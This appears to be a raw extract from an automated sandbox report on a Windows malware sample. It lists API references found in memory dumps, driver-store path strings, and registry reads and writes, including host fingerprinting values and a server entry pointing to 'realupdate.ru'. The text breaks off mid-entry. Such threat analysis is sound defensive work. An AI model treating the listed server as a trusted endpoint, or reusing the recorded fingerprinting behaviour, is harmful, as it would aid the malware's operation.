Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")6c:Ted2,Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetTempFileNameW" (Indicator: "GetTempFileName"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetFileVersionInfoW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetFileVersionInfoSizeW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "FtpGetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp")6d:T628,Found reference to API "GetTickCount" (Indicator: "GetTickCount"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetTickCount" (Indicator: "GetTickCount"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "(BOOL)g_pfnGetTickCount64" (Indicator: "GetTickCount"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")6e:T12a0,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00000640.00000000.80239.00260000.00000004.mdmp, 00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00000640.00000001.80757.00260000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (Indicator: "\Device\"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string "indows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string "indows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string "indows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp, 00000000-00002856.00000001.82683.00220000.00000004.mdmp") Found string "indows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (Indicator: "\Device\"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp, 00000000-00003348.00000001.82347.002F0000.00000004.mdmp")6f:T677,Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "2621302,1344,3137,,RemoveDirectoryW,kernel32.dll,"253:59:43.275",RX=0,PX=0" (Indicator: "RemoveDirectory"; Source: "00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found reference to API "?AllowedDeleteFileResult@ScenarioQosDelegatedSyncWrapper@QoS@@QAE_NJ@Z" (Indicator: "DeleteFile"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "?StartDeleteFile@ScenarioQosDelegatedSyncWrapper@QoS@@QAEXXZ" (Indicator: "DeleteFile"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")70:T949,Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "InitializeSid" (Indicator: "InitializeSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CopySid" (Indicator: "CopySid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "IsValidSid" (Indicator: "IsValidSid"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CoRevertToSelf" (Indicator: "RevertToSelf"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp")71:T62d,Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp") Found reference to API "__crtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70A71000.00000020.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")72:T756,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: rty25.exe] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: rty25.exe] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: rty25.exe] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: rty25.exe] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: rty25.exe] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: rty25.exe] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: rty25.exe] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: rty25.exe] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: rty25.exe] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: rty25.exe] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: rty25.exe] Observed import api "SetSecurityDescriptorDacl" which can "set information in a discretionary access control list (DACL)" [Source: rty25.exe] Observed import api "RevertToSelf" which can "terminate the impersonation of a client application" [Source: rty25.exe]73:Td78,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPV6DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\LINKAGE"; Key: "BIND"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "")74:T18ab,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{F223FF2D-B775-49C0-ADDE-BD477A41B634}"; Key: "WPADDECISIONREASON"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{F223FF2D-B775-49C0-ADDE-BD477A41B634}"; Key: "WPADDECISIONTIME"; Value: "B07C70FA3F3BDD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{F223FF2D-B775-49C0-ADDE-BD477A41B634}"; Key: "WPADDECISION"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{F223FF2D-B775-49C0-ADDE-BD477A41B634}"; Key: "WPADNETWORKNAME"; Value: "Network 8") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-56-CB"; Key: "WPADDECISIONREASON"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-56-CB"; Key: "WPADDECISIONTIME"; Value: "B07C70FA3F3BDD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-56-CB"; Key: "WPADDECISION"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "460000000E0200000900000000000000000000000000000004000000000000003071E4E2286CD3010000000000000000000000000100000002000000C0A8F1FC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{F223FF2D-B775-49C0-ADDE-BD477A41B634}"; Key: "WPADDECISIONTIME"; Value: "6514F498263BDD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-56-CB"; Key: "WPADDECISIONTIME"; Value: "6514F498263BDD0100") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-56-CB"; Key: "WPADDETECTEDURL"; Value: "000000") "InstallSetup9.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\BROOMCLEANER"; Key: "INSTALLED"; Value: "3100000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVERS"; Value: "https://realupdate.ru") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "UUID"; Value: "000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "FIRSTINSTALLDATE"; Value: "B4A7986A0000000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVICEVERSION"; Value: "000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "PGDSE"; Value: "000000000000000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "SERVERSVERSION"; Value: "C30000000000000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "OSCAPTION"; Value: "Microsoft Windows 7 Professional") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "OSARCHITECTURE"; Value: "32-bit") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "ISADMIN"; Value: "3100000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "AV"; Value: "000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "PATCHTIME"; Value: "000000000000000000") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "CPU"; Value: "Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GHz"), "31839b57a4f11171d6abc8bbc4451ee4.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\483F7B2A"; Key: "GPU"; Value: "VMware 